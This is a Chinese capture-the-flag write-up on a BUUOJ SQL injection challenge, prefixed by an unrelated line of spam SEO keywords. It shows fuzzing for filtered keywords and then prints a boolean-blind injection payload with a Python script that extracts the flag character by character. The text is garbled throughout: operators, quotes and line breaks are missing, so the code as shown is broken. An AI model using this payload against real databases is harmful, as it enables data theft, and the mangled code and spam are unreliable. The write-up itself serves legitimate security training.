怎么建个免费英文网站,公司形象墙设计图,中信建设有限责任公司,深圳整站优化一、分析判断
进入靶机#xff0c;主页面如图#xff1a; 主页面提供给我们一条关键信息#xff1a; flag值在 表flag 中的 flag列 中。
接着我们尝试输入不同的id#xff0c;情况分别如图#xff1a;
当id1时#xff1a; 当id2时#xff1a; 当id3时#xff1a; 我…一、分析判断
进入靶机主页面如图 主页面提供给我们一条关键信息 flag值在 表flag 中的 flag列 中。
接着我们尝试输入不同的id情况分别如图
当id1时 当id2时 当id3时 我们发现页面提示该用户不存在往后输入4、5....依旧如此id0时也一样。
当尝试 id abc等字母时 提示类型错误我们猜测注入类型为数字型注入。
带着猜测我们尝试 id1 猜测成立注入类型为数字型注入。
然后我们尝试从表flag列flag中查询flag的值
1 union select flag from flag 意外出现了页面提示我们后端代码中存在SQL注入检测说明注入语句中有关键字被过滤了。
我们需要查询哪些关键字被过滤了。
当我们尝试 idselect时 显示类型错误显然后端将 select 当成用户名了那我们加上1试一试。
当 id1 select 时 我们发现 select 果真被过滤了发现检查方法之后利用Burpsuite抓包和Fuzz字典对id进行爆破检测哪些关键字被过滤掉了。 通过查看 resoponse 得知Length535的关键字全部都被过滤掉了其中 union、select、extracvalue、updatexml、sleep等常见注入关键字全部都被过滤目前只剩下一条路可走---布尔盲注。
从上文得知id1时页面会回显一段文字那么我们使用布尔盲注使布尔值等于1那么等效于我们在 id框中输入1。
如
(ascii(substr((select(flag)from(flag)),1,1))32) 若成立则会返回1id1时会回显出一段字符根据是否回显我们可以一个一个地将flag中的字符拆解出来。
这就需要我们使用到 python 去编写盲注脚本
import time
import requestsurl http://3d63bec3-9674-4015-8b95-665ab2c68324.node5.buuoj.cn:81/index.php
result
for i in range(1, 50):for j in range(32, 128):#time.sleep(0.1)payload (ascii(substr((select(flag)from(flag)),{m},1)){n})response requests.post(urlurl, data{id:payload.format(mi,nj)})if response.text.find(girl) -1:result chr(j)print(j)breakprint(正在注出flag:, result)
print(flag的值为:, result)
跑出结果如下图 最终拿到 flag成功提交通关。